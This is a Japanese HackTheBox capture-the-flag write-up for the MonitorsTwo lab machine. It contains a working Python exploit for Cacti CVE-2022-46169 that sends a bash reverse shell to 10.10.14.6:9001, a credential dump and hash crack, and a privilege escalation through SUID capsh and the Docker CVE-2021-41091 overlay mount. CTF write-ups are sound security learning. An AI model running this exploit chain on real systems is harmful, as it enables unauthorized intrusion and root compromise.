【HackTheBox】MonitorsTwo Writeup
Recon
nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Website
Version 1.2.22 The Cacti Group
が書いてありました。
調べてみたら、Cactiはネットワークのモニタリングツールでした(https://www.cacti.net/) 。default credentialsはadmin:admin
ですが、ログインできませんでした。
cacti 1.2.22 exploitで検索したらCVE-2022-46169が出てきました。未認証ユーザーでもできるcommand injectionです。githubのレポートに脆弱性の説明が細かく書いてあります。
proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
remote_agent.php
のpolldata()
の中のproc_open()
に渡している$poller_id
に任意のコマンドを渡すと実行されるとのことです。
Cacti 1.2.22 RCE
exploit dbのこのスクリプトを実行してみたらエラーが出てうまく行かなかったので(https://www.exploit-db.com/exploits/51166) 、githubのレポートを参考にしてコードを修正していきます。
多分payloadの設定が変だったと思います。
for host_id in range(1,100):
for local_data_ids in range(1,100):
urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")
githubのページにe.g. providing the poller_id=;id the id command is executed.
が書いてありましたので、poller_id=1{payload}
のところはpoller_id=;{payload}
に修正します。
また、不要そうな処理をいろいろ消したらこんな感じのコードになりました。これでreverse shellが取れました。
import requests
import urllib
def exploit():
# target page and payload settings
url = "http://10.10.11.211/remote_agent.php"
headers = {"X-Forwarded-For": "127.0.0.1"}
payload = "bash -c 'bash -i >& /dev/tcp/10.10.14.6/9001 0>&1'"
payload_encoded = urllib.parse.quote(payload)
print(payload_encoded)
# vulnerability check
res = requests.get(url, headers=headers)
print(f"remote_agent.php response status code: {res.status_code}, text: {res.text}")
if res.status_code != 200:
print("not able to access the remote_agent.php page")
return
# brute force ids and exploit
for host_id in range(1,10):
for local_data_id in range(1,10):
exploit_url = f"{url}?action=polldata&local_data_ids[]={local_data_id}&host_id={host_id}&poller_id=;{payload_encoded}"
exploit_res = requests.get(exploit_url, headers=headers)
print(host_id, local_data_id, exploit_res.status_code, exploit_res.text)
exploit()
実行するとこんな感じです。
┌──(kali㉿kali)-[~/monitortwo]
└─$ python exploit.py
bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.6/9001%200%3E%261%27
remote_agent.php response status code: 200, text: Unknown Agent Request
1 1 200 [{"value":"17","rrd_name":"proc","local_data_id":"1"}]
1 2 200 [{"value":"1min:0.00 5min:0.00 10min:0.00","rrd_name":"","local_data_id":"2"}]
1 3 200 [{"value":"0","rrd_name":"users","local_data_id":"3"}]
1 4 200 [{"value":"2246136","rrd_name":"mem_buffers","local_data_id":"4"}]
1 5 200 [{"value":"1048572","rrd_name":"mem_swap","local_data_id":"5"}]
www-dataのシェルが取れました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.211] 49806
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as www-data
Recon
root directoryを見てみたら.dockerenv
があったので、ここはコンテナの中です。
bash-5.1$ cd /
cd /
bash-5.1$ ls -la
ls -la
total 104
drwxr-xr-x 1 root root 4096 Mar 21 10:49 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..
-rwxr-xr-x 1 root root 0 Mar 21 10:49 .dockerenv
-rw-r--r-- 1 root root 648 Jan 5 2023 entrypoint.sh
[...snip...]
entrypoint.sh
の中身を見てみます。コンテナのdbとファイルの権限などをセットアップしているみたいです。
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
mysqlのcredentialsがあったので接続してみます。
bash-5.1$ mysql --host=db --user=root --password=root cacti -e "show tables"
Tables_in_cacti
[..snip...]
user_auth
user_authテーブルの中身を見てみます。
bash-5.1$ mysql --host=db --user=root --password=root cacti -e "select * from user_auth"
< --password=root cacti -e "select * from user_auth"
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 1 1on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 00
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 1 1on -1 -1 on 0 0 2135691668
adminとmarcus二人のユーザーのpassword hashがありました。johnでクラッキングしていきます。
Password Cracking
marcusのhashはクラッキングできました。パスワードはfunkymonkeyです。
┌──(kali㉿kali)-[~/monitortwo]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt marcushash
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey (?)
marcus:funkymonkey
でsshログインはできました。
┌──(kali㉿kali)-[~/monitortwo]
└─$ ssh marcus@10.10.11.211
marcus@10.10.11.211's password:
[...snip...]
You have mail.
Last login: Fri Sep 1 13:29:10 2023 from 10.10.14.6
marcus@monitorstwo:~$ ls
user.txt
marcus@monitorstwo:~$ cat user.txt
userフラグが取れました。
Shell as Marcus
Check Mail
ログインの時にyou have mailが書いてあったので、メールを確認します。
marcus@monitorstwo:/var$ cat mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
3つのCVEが提示されていました。2番目のCVE-2020-25706
はcacti v1.2.13が対象なので、関係なさそうです。
marcus@monitorstwo:~$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
marcus@monitorstwo:~$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88
kernelとdockerのバージョンを確認したら、このマシーンは1と3番目のCVEの対象でした。
CVE-2021-33033
はlinux kernelのuse-after-freeの脆弱性で、メモリに任意の値を書き込むことができるみたいです。
また、CVE-2021-41091
は権限が低いユーザーが/var/lib/docker
のサブディレクトリの中身を見れたり実行できたりするとのことです。
このリンクの中にこんなことが書いてありました。
コンテナの中にSUIDがついているファイルがあると、marcusがそのファイルを実行できるっぽいです。試していきたいと思います。
コンテナの中のbashにSUIDをつけたいので、まずはコンテナの権限昇格をやってみます。
Priv Esc in Container: capsh SUID Exploit
コンテナの中にlinpeasを実行します。
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 31K Oct 14 2020 /sbin/capsh
capshにSUIDが付いていました。GTFOBinsで検索します。
手順に沿って実行するとrootが取れました!
bash-5.1$ /sbin/capsh --gid=0 --uid=0 --
whoami
root
rootが取れたので、bashにSUIDをつけます。
chmod u+s /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
CVE-2021-41091
docker hostからコンテナの中のbashを実行したいので、コンテナのマウントポイントを探します。
docker psでコンテナを特定して、そこからdocker inspectでコンテナの設定を確認したかったですが、dockerコマンドはほとんど実行できないみたいです。
marcus@monitorstwo:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied
ではpsでコンテナのマウントポイントを探してみます。まずはコンテナの名前を確認します。
bash-5.1$ cat /etc/hostname
cat /etc/hostname
50bca5e748b0
コンテナのプロセスを特定します。
marcus@monitorstwo:~$ ps aux | grep 50bca5e748b0
root 1337 0.0 0.2 1525664 10688 ? Sl Sep01 0:05 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock
marcus 34400 0.0 0.0 6432 720 pts/0 S+ 13:20 0:00 grep --color=auto 50bca5e748b0
プロセスIDを使ってマウントポイントを確認します。dockerと関係ありそうなものを見てみます。
marcus@monitorstwo:~$ cat /proc/1337/mounts | grep /var/lib/docker
overlay /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
shm /var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
overlay /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
shm /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
マウントポイントをls
してみるとコンテナの中が見れました!
marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
bin dev etc lib media opt root sbin sys usr
boot entrypoint.sh home lib64 mnt proc run srv tmp var
bashの権限も見てみます。ちゃんとSUIDがつけられています。(もう一つのマウントポイント/var/lib/docker/overlay2/4ec09ecfa...
だとSUIDが付けられてないままでした)
marcus@monitorstwo:/$ ls -la /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash
Root Shell
ではbash -p
でrootを取ります。
marcus@monitorstwo:/$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
rootフラグが取れました!
Memo
footholdのコードが動くまで時間がかかりましたし、コンテナのexploitが結構ややこしかったと感じたので、なぜuser rated difficultyが低いのかが謎です。
metasploitを使えばもうちょっと簡単に感じてたかもしれません。個人的にはeasyとmediumの中間だと思います。面白いboxでした。
Discussion